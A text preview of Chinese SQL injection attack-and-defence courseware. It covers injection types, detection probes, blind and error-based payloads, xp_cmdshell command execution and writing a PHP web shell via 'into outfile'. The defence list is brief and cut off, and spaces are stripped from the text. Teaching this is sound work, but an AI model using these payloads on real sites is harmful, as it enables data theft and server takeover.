SQL注入攻擊與防御課件_第1頁
SQL注入攻擊與防御課件_第2頁
SQL注入攻擊與防御課件_第3頁
SQL注入攻擊與防御課件_第4頁
SQL注入攻擊與防御課件_第5頁
已閱讀5頁,還剩17頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權,請進行舉報或認領

文檔簡介

SQL注入攻擊與防御SQL注入圖像、語音、文字等數(shù)據(jù)(Data)在計算機系統(tǒng)中,各種字母、數(shù)字符號的組合、語音、圖形、圖像等統(tǒng)稱為數(shù)據(jù)。Access、MSSQL、Oracle、SQLITE、MySQL等數(shù)據(jù)庫(Database)數(shù)據(jù)庫是按照數(shù)據(jù)結構來組織、存儲和管理數(shù)據(jù)的“倉庫”。Access、MSSQL、Oracle、SQLITE、MySQL等數(shù)據(jù)庫管理系統(tǒng)(DBMS)數(shù)據(jù)庫管理系統(tǒng)(databasemanagementsystem)是一種操縱和管理數(shù)據(jù)庫的軟件,用于建立、使用和維護數(shù)據(jù)庫。它對數(shù)據(jù)庫進行統(tǒng)一的管理和控制,以保證數(shù)據(jù)庫的安全性和完整性。DQL、DDL、DML、TCL、DCL結構化查詢語言(SQL)結構化查詢語言(StructuredQueryLanguage)簡稱SQL,結構化查詢語言是一種數(shù)據(jù)庫查詢和程序設計語言,用于存取數(shù)據(jù)以及查詢、更新和管理關系數(shù)據(jù)庫系統(tǒng)。SQL注入這是一個Access數(shù)據(jù)庫SQL注入漏洞介紹

由于程序中對用戶輸入檢查不嚴格,用戶可以提交一段數(shù)據(jù)庫查詢代碼,根據(jù)程序返回的結果,獲得某些他想得知的數(shù)據(jù),這就是所謂的SQLInjection,即SQL注入。原因分析

其本質(zhì)是由于對輸入檢查不充分,導致SQL語句將用戶提交的非法數(shù)據(jù)當作語句的一部分來執(zhí)行。SQL注入SQL注入分類:按提交字符類型可分為:數(shù)字型

字符型

搜索型按HTTP提交方式可分為:GET、POST、Cookie按注入方式可分為:盲注、

union注入、報錯注入、基于時間注入編碼問題:寬字節(jié)注入SQL注入如何判斷?1.單引號判斷2.數(shù)字型注入判斷①and1=1and1=2and1isnulland1isnotnullanduser>0②參數(shù)進行運算+1-1'+'→'%2B'3.字符型注入判斷①'and'1'='1'and'1'='24.搜索型注入判斷①test%'and1=1and'%'='test%'and1=2and'%'='SQL注入如何攻擊?Access→盲注andexists(select*fromtable)andexists(selectcolumnfromtable)and(selecttop1len(id)fromadmin)>0and(selecttop1asc(mid(id,1,1))fromadmin)>X無差異→構造差異andiif((1=1),2,'a')=2andiif((1=2),2,'a')=2SQL注入如何判斷權限?1.有錯誤回顯①anduser>0

2.無錯誤回顯①and1=(selectis_member('dbo'))//網(wǎng)頁返回正常,說明數(shù)據(jù)庫管理權限為sa②and1=(selectis_member('db_owner'))//網(wǎng)頁返回正常,說明數(shù)據(jù)庫管理權限為db_owner③and1=(selectis_member('public'))//網(wǎng)頁返回正常,說明數(shù)據(jù)庫管理權限為publicSQL注入SqlServer→報錯當前數(shù)據(jù)庫有哪些表and(selecttop1namefromsysobjects)=1and(selecttop1namefromsysobjectswherenamenotin('admin','bigclass'))=1表中的字段and(selecttop1col_name(object_id('admin'),1)fromsysobjects)=1字段的值and(selecttop1passwordfromadmin)=1SQL注入SqlServer(sa權限)→關閉錯誤提示執(zhí)行命令得到回顯①win2003execmaster..xp_cmdshell'netuser>C:\Inetpub\wwwroot\cmd.txt'--②win2000execmaster..xp_cmdshell'netuser>C:\Inetpub\wwwroot\cmd.txt--SQL注入MySQL注入獲取查詢的字段數(shù)→orderbyN數(shù)據(jù)庫名→and1=2unionselect1,SCHEMA_NAMEfrominformation_schema.SCHEMATAlimitN,1表名→and1=2unionselect1,TABLE_NAMEfrominformation_schema.TABLESwhereTABLE_SCHEMA=庫HEX值limitN,1字段→and1=2unionselect1,COLUMN_NAMEfrominformation_schema.COLUMNSwhereTABLE_NAME=表名HEX值limitN,1連接字段→group_concat()SQL注入MySQL通用報錯and(select1from(selectcount(*),concat(version(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)%23SQL注入MySQL寫文件①必須知道網(wǎng)站的絕對路徑,這樣才能寫對目錄;②Mysql的版本在4.0以上,才能使用union進行聯(lián)合查詢;③PHP配置文件php.ini中的magic_quotes_gpc=off,沒有對單引號進行過濾;④Mysql數(shù)據(jù)庫當前用戶擁有file_priv權限;⑤“Network”組的用戶對網(wǎng)站目錄有寫權(windows操作系統(tǒng)下網(wǎng)站目錄一般都具有該權限)。SQL注入MySQL寫文件/test.php?id=6and1=2unionselect1,2,'<?phpsystem($_REQUEST[cmd]);?>',4,5,6intooutfile'C:/apache/htdocs/site/shell.php'導出shell的新方式,不需要union協(xié)助select*fromtablelimit1intooutfile"d:/test.txt"linesterminatedby"<?phpeval($cmd)?>"SQL注入自動化注入工具→PangolinSQL注入如何防范?①對進入數(shù)據(jù)庫的特殊字符('"\尖括號&*;等)進行轉(zhuǎn)義處理,或編碼轉(zhuǎn)換。②嚴格限制變量類型,比如整型變量就采用intval()函數(shù)過濾,數(shù)據(jù)庫中的存儲字段必須對應為int型。③數(shù)據(jù)長度應該嚴格規(guī)定,能在一定程度上防止比較長的SQL注入語句無法正確執(zhí)行。④

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經(jīng)權益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論